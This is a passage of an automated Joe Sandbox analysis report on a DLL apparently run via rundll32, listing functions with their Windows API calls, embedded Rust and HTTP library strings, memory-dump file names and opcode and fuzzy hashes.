Opcode Fuzzy Hash: 60b13ae78b097f24b96a3f9a4aaef0b701cc38bb03520601838494f7966be34b
Instruction Fuzzy Hash: 172116756087459FD304DF15C480A5ABBE5EB89354F14CA2EE4898B740E735E889CBA2

Function 6CC4FBE0 Relevance: 1.5, APIs: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

SetThreadStackGuarantee.KERNEL32(?), ref: 6CC4FC1B

Part of subcall function 6CBC5AD0: RtlFreeHeap.NTDLL(00000000,?,6CC47E44), ref: 6CBC5AE1

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: FreeGuaranteeHeapStackThread
String ID:
API String ID: 4181682901-0
Opcode ID: 53f189aaeeb774ecd2f839a95b9dd2097b2598d3f1ad67b354606450ff9f23b0
Instruction ID: 3a53aa3d8b709c0f8957145660484b5186133f7d5de0a8ecf21945c282eea2f2
Opcode Fuzzy Hash: 53f189aaeeb774ecd2f839a95b9dd2097b2598d3f1ad67b354606450ff9f23b0
Instruction Fuzzy Hash: 2F1139B1900649CFCB10DF95C985BEEBBB4FB48324F108529E805A7780D379A944CBA4

Function 6CC57B93 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 6CC57BC9

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: f15929706a82749525eab815a009abdab47e039da349ee39f5c65d17e8414770
Instruction ID: 5d39303738c7036bc7efe64774e83c62563c18df9bac85a2fadb24cb81e31f38
Opcode Fuzzy Hash: f15929706a82749525eab815a009abdab47e039da349ee39f5c65d17e8414770
Instruction Fuzzy Hash: A8E0D8713008419BC605D719D9409ADB771FFC1318754C159D01547F50DF31EC2AD784

Function 6CC472AF Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

QueryContextAttributesW.SECUR32(?,00000053,?,00000000,?,6CC36E29), ref: 6CC472BC

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AttributesContextQuery
String ID:
API String ID: 1320229847-0
Opcode ID: 0fa0f861b42fdd6a7c7fd97f62ef28635ae25bb79277e38cdf9a58a7187d9121
Instruction ID: f01e2ef657cb791055204594ff3ea627ac30ef5cb7b9216c10c45172927ebe75
Opcode Fuzzy Hash: 0fa0f861b42fdd6a7c7fd97f62ef28635ae25bb79277e38cdf9a58a7187d9121
Instruction Fuzzy Hash: BBE08CB1A01700AFF3604F29DC01B637BE8AB15B52F14881CB685C7680E6789840CB61

Function 6CC50110 Relevance: 1.5, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02870000,00000000,?,?,6CBC5AAF,?,00000004,6CBCE4B2,?,6CC4682F,?,?,?,?,6CC465EB,00000002), ref: 6CC5011F

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3f1f89839c150c1e44a0ee7e53250e5b737db2be92f7ad8ee0979f960412b2b7
Instruction ID: 95e1fad24aa6f90de9cdd72349ba5ea9d26710c181c2307d20fd486f5566b227
Opcode Fuzzy Hash: 3f1f89839c150c1e44a0ee7e53250e5b737db2be92f7ad8ee0979f960412b2b7
Instruction Fuzzy Hash: 25C08C70200209AE6E0016A7AD48D3733BCDA859087404005B04EC2902FA26E8A48464

Function 6CBC5AD0 Relevance: 1.5, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,?,6CC47E44), ref: 6CBC5AE1

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 493b4b48f9730c328171872aea817e32a656db09a0d1822dd259188ce111f9d4
Instruction ID: c787eccd42acfecf5444fd9a257bd76d98bd7e66bbdd7421f61f72f331915f92
Opcode Fuzzy Hash: 493b4b48f9730c328171872aea817e32a656db09a0d1822dd259188ce111f9d4
Instruction Fuzzy Hash: 2CC092B0310041BBDF099B12CF9DB2CBA37F783300F208158F246594A4D6732A46DB0A

Function 6CC6099B Relevance: 1.5, APIs: 1, Instructions: 5registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,6CC11DC5), ref: 6CC609A0

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 6c9733f1f0098d20d6df1820d63daa835330e09b5a65ed5d6cd4cbb08c4b53c2
Instruction ID: 89f8f6c824ee06362b67c55f501b17c11ac4294c77edbda6c90e6dff73157b4e
Opcode Fuzzy Hash: 6c9733f1f0098d20d6df1820d63daa835330e09b5a65ed5d6cd4cbb08c4b53c2
Instruction Fuzzy Hash: A5A002F4F175416AFE2C6B27C759A3B2E795A45286300056D6987E0804D635C042C61D

Non-executed Functions

Function 6CC1BA52 Relevance: 44.1, APIs: 22, Strings: 4, Instructions: 5141COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000001C8), ref: 6CC1BD37

Part of subcall function 6CC50110: RtlAllocateHeap.NTDLL(02870000,00000000,?,?,6CBC5AAF,?,00000004,6CBCE4B2,?,6CC4682F,?,?,?,?,6CC465EB,00000002), ref: 6CC5011F

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CC2286F, 6CC22905
PRI * HTTP/2.0SM, xrefs: 6CC1C4DB
invalid SETTINGS frame, xrefs: 6CC1C960
assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZED:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\frame\settings.rs, xrefs: 6CC227AC

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AllocateHeapmemmove
String ID: PRI * HTTP/2.0SM$assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZED:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\frame\settings.rs$called `Result::unwrap()` on an `Err` value$invalid SETTINGS frame
API String ID: 3274069717-2943561727
Opcode ID: a98c426f1d99c9824e683b1fd2a795c057e53f5da04363cca7d7b848c8a5bcd7
Instruction ID: 94e912646a15b53c3cdf5b682735b01d80dd94a04d057817ec0d3e366dd1b5b2
Opcode Fuzzy Hash: a98c426f1d99c9824e683b1fd2a795c057e53f5da04363cca7d7b848c8a5bcd7
Instruction Fuzzy Hash: 4EE36274A097818FD7A1CF29C184B9ABBE0BF89310F14496EE89CDB315E770A945CF52

Function 6CC3BD1C Relevance: 24.3, APIs: 13, Strings: 2, Instructions: 1782COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000138), ref: 6CC3BD79
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CC3D4BE
memmove.VCRUNTIME140(?,?,000000C0,6CCB654C), ref: 6CC3D52B
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CC3D587
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CC3D5A8
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CC3D5E6

Strings

invalid minimum TLS version for backendinvalid maximum TLS version for backendvalid request parts, xrefs: 6CC3C645
NO_PROXYno_proxy[, xrefs: 6CC3BE37

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: NO_PROXYno_proxy[$invalid minimum TLS version for backendinvalid maximum TLS version for backendvalid request parts
API String ID: 2162964266-2564500342
Opcode ID: 9d367786e52a34b03b0d33bc99a0f95c5a151ea95a738abc7d202fc428534192
Instruction ID: cbbe73ef672b1fc7c2a39fbdbb1c1b30faddb8d7a8ec08057d293eac098b4625
Opcode Fuzzy Hash: 9d367786e52a34b03b0d33bc99a0f95c5a151ea95a738abc7d202fc428534192
Instruction Fuzzy Hash: 61038C756087918FD721CF24C480B9EBBF1BF89314F14896EE88D9B751EB70A849CB52

Function 6CBFA814 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 3097COMMON

Download Yara Rule

Strings

E, xrefs: 6CBFCEAB
/1.1, xrefs: 6CBFACF9
HTTP, xrefs: 6CBFACF4
, xrefs: 6CBFAC50
PRI * HTTP/2.0SM, xrefs: 6CBFD195
/1.1, xrefs: 6CBFAD3B
close, xrefs: 6CBFC014

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID: $/1.1$/1.1$E$HTTP$PRI * HTTP/2.0SM$close
API String ID: 0-737735271
Opcode ID: 8adec4fbd02e8de6a77a8ae90cf8dd2a270e1d26fef31e6c0ae27f4d71662996
Instruction ID: fd0321c79a5c14c246d931895d85e6b0e13184f8cceec6e1220365d64249ce5a
Opcode Fuzzy Hash: 8adec4fbd02e8de6a77a8ae90cf8dd2a270e1d26fef31e6c0ae27f4d71662996
Instruction Fuzzy Hash: 15535A756087C18FD325CF24C49079FBBE1AFC9314F248A1EE4A98B751DB74988ACB52

Function 6CBDC1AC Relevance: 18.3, APIs: 14, Instructions: 794COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDC209

Part of subcall function 6CBC5AD0: RtlFreeHeap.NTDLL(00000000,?,6CC47E44), ref: 6CBC5AE1

memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDC247
memmove.VCRUNTIME140(?,?,00000088), ref: 6CBDC2BF
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CBDC470
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CBDCBA8
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBDCC09
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBDCC3F
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CBDCC6E
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CBDCCB8
memmove.VCRUNTIME140(?,?,0000007E,?), ref: 6CBDCD12
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CBDCD3B
memmove.VCRUNTIME140(?,?,00000088), ref: 6CBDCD65

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$FreeHeap
String ID:
API String ID: 3670176668-0
Opcode ID: 10c08327c6642d9df7c208653faa30eda70e4a97573c6ce7dc62ddafa60a3eac
Instruction ID: c6999644dff829ce1a0a2ce0b5a9b5a2c4a59a2a1fa127a6c779310d2e753b6c
Opcode Fuzzy Hash: 10c08327c6642d9df7c208653faa30eda70e4a97573c6ce7dc62ddafa60a3eac
Instruction Fuzzy Hash: A47266759093818FD322CF24C4507AEFBE1BF8A309F05895DE8885B791DB74A949CB93

Function 6CC483D0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 268filenativesynchronizationCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC4840A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC48255), ref: 6CC48419
GetConsoleMode.KERNEL32(00000000,?), ref: 6CC48457
NtWriteFile.NTDLL ref: 6CC484DD
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC484ED
RtlNtStatusToDosError.NTDLL ref: 6CC4857A
CloseHandle.KERNEL32(00000000), ref: 6CC4876A

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CC4871C

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorHandle$CloseConsoleFileLastModeObjectSingleStatusWaitWrite
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 3090192319-2333694755
Opcode ID: c2198e714d9461539c6386ea8e09e2a34f18a6f027277bd952d2edad0ea304e0
Instruction ID: b8a43445071404693df73786abea6c982a9227d418e73f22d453b72d130557a2
Opcode Fuzzy Hash: c2198e714d9461539c6386ea8e09e2a34f18a6f027277bd952d2edad0ea304e0
Instruction Fuzzy Hash: 5BB1D6B0D042889FDB00CF95C894BEEBFB5BF41318F14C52AE495ABB80E7349949CB91

Function 6CC52350 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 501COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?), ref: 6CC527D3

Strings

main, xrefs: 6CC52934
<unnamed>, xrefs: 6CC526A8, 6CC52870
Box<dyn Any>aborting due to panic at , xrefs: 6CC52848
full, xrefs: 6CC52892
RUST_BACKTRACEentity not foundpermission deniedconnection refusedconnection resethost unreachablenetwork unreachableconnection abortednot connectedaddress in useaddress not availablenetwork downbroken pipeentity already existsoperation would blocknot a directo, xrefs: 6CC525FE

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressSingleWake
String ID: <unnamed>$Box<dyn Any>aborting due to panic at $RUST_BACKTRACEentity not foundpermission deniedconnection refusedconnection resethost unreachablenetwork unreachableconnection abortednot connectedaddress in useaddress not availablenetwork downbroken pipeentity already existsoperation would blocknot a directo$full$main
API String ID: 3114109732-636500360
Opcode ID: 18a69fba6b3f9b0328a053db75d8c88144fa202a2bad4555d59a66ca89891050
Instruction ID: 9c1c845f8040012b5833ab91ac6bccbb07816a20857d3170782db1d24e8002b2
Opcode Fuzzy Hash: 18a69fba6b3f9b0328a053db75d8c88144fa202a2bad4555d59a66ca89891050
Instruction Fuzzy Hash: 12228CB0600B408FD721CF25C0A8B52B7F1BB45308F54896EC99A8BF91E735F569CB95

Function 6CC49F40 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 358windowCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00001000), ref: 6CC49F8A
GetModuleHandleW.KERNEL32(NTDLL.DLL), ref: 6CC49FA6
FormatMessageW.KERNEL32(00001200,00000000,?,00000000,?,00000800,00000000), ref: 6CC49FD3

Strings

NTDLL.DLL, xrefs: 6CC49FA1

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: FormatHandleMessageModulememset
String ID: NTDLL.DLL
API String ID: 2302251862-1613819793
Opcode ID: bed357937c64d7120d626d6fa2bb860a74b5ee79902bb33e89e3273597c53303
Instruction ID: 078ec0397323cc05781585862053380b76fe61fb8e8b4213fb8cc8ecfed2e854
Opcode Fuzzy Hash: bed357937c64d7120d626d6fa2bb860a74b5ee79902bb33e89e3273597c53303
Instruction Fuzzy Hash: BAD1CE72E052588FEB10CFD5C8803EDBBB2FB85314F248239D415ABB85E3759945CB50

Function 6CC43880 Relevance: 10.5, Strings: 8, Instructions: 504COMMON

Download Yara Rule

Strings

{invalid syntax}{recursion limit reached}?'for<> ::{closureshim# as mut const ; dyn + unsafe extern ", xrefs: 6CC43E6D
`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6CC458EA
called `Result::unwrap()` on an `Err` value, xrefs: 6CC4620A
,(><&*@, xrefs: 6CC45F79, 6CC46183
SizeLimitExhausted, xrefs: 6CC462EB
.llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs, xrefs: 6CC44DAD
.%2e%2E, xrefs: 6CC45C5E, 6CC46134
__ZN, xrefs: 6CC451F5

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID: ,(><&*@$.%2e%2E$.llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs$SizeLimitExhausted$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`$called `Result::unwrap()` on an `Err` value${invalid syntax}{recursion limit reached}?'for<> ::{closureshim# as mut const ; dyn + unsafe extern "
API String ID: 0-3150708015
Opcode ID: 15d19370c072ee85e9d3a94b7e6a5359ef12bc896c1aa73cee99171af5e5313e
Instruction ID: 5fb668383d7973513920bbab53263338cb261c870045008c888c5489311994b1
Opcode Fuzzy Hash: 15d19370c072ee85e9d3a94b7e6a5359ef12bc896c1aa73cee99171af5e5313e
Instruction Fuzzy Hash: EC02D275E056158FDB14CF99C4807ADB7B1BF89314F2CC269D869ABB81E331AC42CB91

Function 0466659F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0466662A
swprintf.LIBCMT ref: 04666682
swprintf.LIBCMT ref: 04666695

Strings

:, xrefs: 046665CC
@, xrefs: 04666636

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: swprintf$_memset
String ID: :$@
API String ID: 1292703666-1367939426
Opcode ID: 26546824efc929cea88a5a0cbe0ce2705dc845ce85ea236ce426ff3fea3cd6f8
Instruction ID: c1ace1bf4917af14e60facaed9055c0548041db24b6bf20cea9cfdc883f22333
Opcode Fuzzy Hash: 26546824efc929cea88a5a0cbe0ce2705dc845ce85ea236ce426ff3fea3cd6f8
Instruction Fuzzy Hash: 93313CB6D0021CABEB04CBE8CC95FEEB7B9FB88304F50421DE906A7240E6706945CB94

Function 6CC02D0F Relevance: 8.3, APIs: 1, Strings: 4, Instructions: 755COMMON

Download Yara Rule

Strings

pool is disabledBadScheme, xrefs: 6CC034FB
request has been canceled, xrefs: 6CC02D85
called `Result::unwrap()` on an `Err` value, xrefs: 6CC038B6
assertion failed: Pin::new(&mut rx).poll(cx).is_pending(), xrefs: 6CC038DC

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID: assertion failed: Pin::new(&mut rx).poll(cx).is_pending()$called `Result::unwrap()` on an `Err` value$pool is disabledBadScheme$request has been canceled
API String ID: 0-3394898113
Opcode ID: e5f21d1acd1a833b1cb1d74d3ad0d9ffc4f7df7e3be1cd0618ab2d0d24d0706b
Instruction ID: e3a234ae9323c9b7ac9cdb367121528fb5b4ddafc94d58666167cedb6259df91
Opcode Fuzzy Hash: e5f21d1acd1a833b1cb1d74d3ad0d9ffc4f7df7e3be1cd0618ab2d0d24d0706b
Instruction Fuzzy Hash: 98724D35A09B818FC721CF29C480A9BF7F1BFCA344F148A5DE8895B651EB719985CB42

Function 6CBEDD45 Relevance: 8.1, APIs: 5, Instructions: 608COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CBEDF4A
memmove.VCRUNTIME140(?,?,?), ref: 6CBEE0B3
__aulldiv.LIBCMT ref: 6CBEE27D

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$__aulldiv
String ID:
API String ID: 3540790784-0
Opcode ID: fb4fb7b8f6ae6604e73de285de927d9d7cb11869837114320e07f3c3780b15ef
Instruction ID: 801b72f5fa97dcaa7dc2b63dda965dcc9f9a49f63c7f684f6ddbf126ef3b9257
Opcode Fuzzy Hash: fb4fb7b8f6ae6604e73de285de927d9d7cb11869837114320e07f3c3780b15ef
Instruction Fuzzy Hash: 6F32AD326083559FC714CF58C880A5EB7E2EFC9754F198A2DE8999B391E771EC05CB82

Function 6CC48780 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,6CC4859F,?,00001000,?,?,6CC48025,?,6CC4859F,?,?), ref: 6CC487F9
WriteConsoleW.KERNEL32(?,?,00000000,00000000,00000000,?,6CC4859F), ref: 6CC48829
WriteConsoleW.KERNEL32(?,?,00000001,6CC4859F,00000000,?,6CC4859F), ref: 6CC4887A
GetLastError.KERNEL32(?,6CC4859F), ref: 6CC48AA3

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

